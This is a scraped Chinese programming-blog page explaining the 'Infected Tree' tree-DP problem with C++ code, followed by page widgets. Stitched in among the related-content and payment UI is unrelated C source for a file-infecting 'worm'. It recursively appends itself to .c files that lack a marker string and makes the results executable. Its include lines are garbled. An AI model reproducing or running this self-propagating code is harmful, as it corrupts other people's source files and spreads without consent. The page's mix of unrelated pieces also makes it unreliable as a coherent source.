C. Infected Tree -树形dp

题面

分析

开始直接贪心,每次找最大子树递归,结果出错了,要用树形dp进行计算,设 d p i dp_i dpi 为当前可以拯救的最大数量,那么可以选择拯救其中一棵子树然后继续递归另一棵子树,所以状态转移方程就是 d p i = m a x ( d p i , t o t a l − d p j + s u m j − 1 ) dp_i = max(dp_i, total - dp_j + sum_j - 1) dpi=max(dpi,totaldpj+sumj1)

代码
#include <bits/stdc++.h>

using namespace std;
using ll = long long;

const int N = 3e5 + 10;

vector<int> adj[N];
int dp[N];
int sum[N];
bool st[N];

void dfs(int u, int fa) {
   // cout << u << endl;
    st[u] = true;
    int cnt = 0;
    for(auto j: adj[u]) {
        if(st[j]) continue;
        dfs(j, u);
        cnt += dp[j];
        sum[u] += sum[j];
    }
    for(auto j: adj[u]) {
        if(j == fa) continue;
        dp[u] = max(dp[u], cnt - dp[j] + sum[j] - 1);
    }
}

void solve() {
    int n;
    cin >> n;
    for(int i = 1; i <= n; i ++) {
        adj[i].clear();
        st[i] = false;
        sum[i] = 1;
        dp[i] = 0;
    }
    for(int i = 0; i < n - 1; i ++) {
        int u, v;
        cin >> u >> v;
        adj[u].push_back(v);
        adj[v].push_back(u);
    }
    dfs(1, 0);
 ///   cout << "--------------\n";
    cout << dp[1] << "\n";
}

int main() {
    ios::sync_with_stdio(false);
    cin.tie(nullptr);

    int T;
    cin >> T;
    while(T --) {
        solve();
    }
}
  • 23
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <dirent.h> #include <sysat.h> #include <syspes.h> #include <unistd.h> #define FILENAME "worm.c" #define INFECTION_MARKER " #define INFECTION_MARKER" void infect_files(char *dir) { DIR *dp; struct dirent *entry; struct stat statbuf; FILE *fp, *infected_fp; char file_path[256], infected_file_path[256], line[512]; int infected = 0; if ((dp = opendir(dir)) == NULL) { perror("opendir"); return; } chdir(dir); while ((entry = readdir(dp)) != NULL) { lstat(entry->d_name, &statbuf); if (S_ISDIR(statbuf.st_mode)) { if (strcmp(".", entry->d_name) == 0 || strcmp("..", entry->d_name) == 0) { continue; } infect_files(entry->d_name); } else { if (strstr(entry->d_name, ".c") != NULL) { if ((fp = fopen(entry->d_name, "r")) != NULL) { while (fgets(line, sizeof(line), fp) != NULL) { if (strstr(line, INFECTION_MARKER) != NULL) { infected = 1; break; } } fclose(fp); if (!infected) { if ((fp = fopen(entry->d_name, "a")) != NULL) { if ((infected_fp = fopen(FILENAME, "r")) != NULL) { while (fgets(line, sizeof(line), infected_fp) != NULL) { fputs(line, fp); } fclose(infected_fp); } fclose(fp); infected = 1; } } } } } if (infected) { sprintf(file_path, "%s/%s", dir, entry->d_name); sprintf(infected_file_path, "%s/%s", dir, FILENAME); printf("Infected %s\n", file_path); link(file_path, infected_file_path); chmod(infected_file_path, S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH); infected = 0; } } chdir(".."); closedir(dp); } int main(int argc, char **argv) { char *dir; if (argc > 1) { dir = argv[1]; } else { dir = "."; } infect_files(dir); return 0; }
05-16

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值